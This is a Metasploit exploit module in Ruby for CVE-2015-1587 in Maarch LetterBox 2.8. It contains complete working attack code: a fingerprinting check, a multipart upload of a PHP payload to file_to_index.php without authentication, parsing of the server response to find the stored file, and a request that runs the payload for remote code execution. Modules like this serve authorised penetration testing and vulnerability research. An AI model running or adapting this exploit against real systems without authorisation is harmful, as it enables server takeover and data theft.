##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'uri'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Maarch LetterBox Unrestricted File Upload',
        'Description' => %q{
          This module exploits a file upload vulnerability on Maarch LetterBox 2.8 due to a lack of
          session and file validation in the file_to_index.php script. It allows unauthenticated
          users to upload files of any type and subsequently execute PHP scripts in the context of
          the web server.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'rastating'
        ],
        'References' => [
          ['CVE', '2015-1587']
        ],
        'DisclosureDate' => '2015-02-11',
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [['Maarch LetterBox 2.8', {}]],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to Maarch LetterBox', '/'])
      ]
    )
  end

  def letterbox_login_url
    normalize_uri(target_uri.path, 'login.php')
  end

  def letterbox_upload_url
    normalize_uri(target_uri.path, 'file_to_index.php')
  end

  def check
    res = send_request_cgi('method' => 'GET', 'uri' => letterbox_login_url)
    if res.nil? || res.code != 200
      return Msf::Exploit::CheckCode::Unknown
    elsif res.body.include?('alt="Maarch Maerys Archive v2.1 logo"')
      return Msf::Exploit::CheckCode::Appears
    end

    Msf::Exploit::CheckCode::Safe
  end

  def generate_mime_message(payload, name)
    data = Rex::MIME::Message.new
    data.add_part(payload.encoded, 'text/plain', 'binary', "form-data; name=\"file\"; filename=\"#{name}\"")
    data
  end

  def exploit
    print_status("Preparing payload...")
    payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
    data = generate_mime_message(payload, payload_name)

    print_status("Uploading payload...")
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => letterbox_upload_url,
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s
    )
    fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
    fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200

    print_status("Parsing server response...")
    captures = res.body.match(/\[local_path\] => (.*\.php)/i).captures
    fail_with(Failure::UnexpectedReply, 'Unable to parse the server response') if captures.nil? || captures[0].nil?
    payload_url = normalize_uri(target_uri.path, captures[0])
    print_good("Response parsed successfully")

    print_status("Executing the payload at #{payload_url}")
    register_files_for_cleanup(File.basename(URI.parse(payload_url).path))
    send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)
  end
end
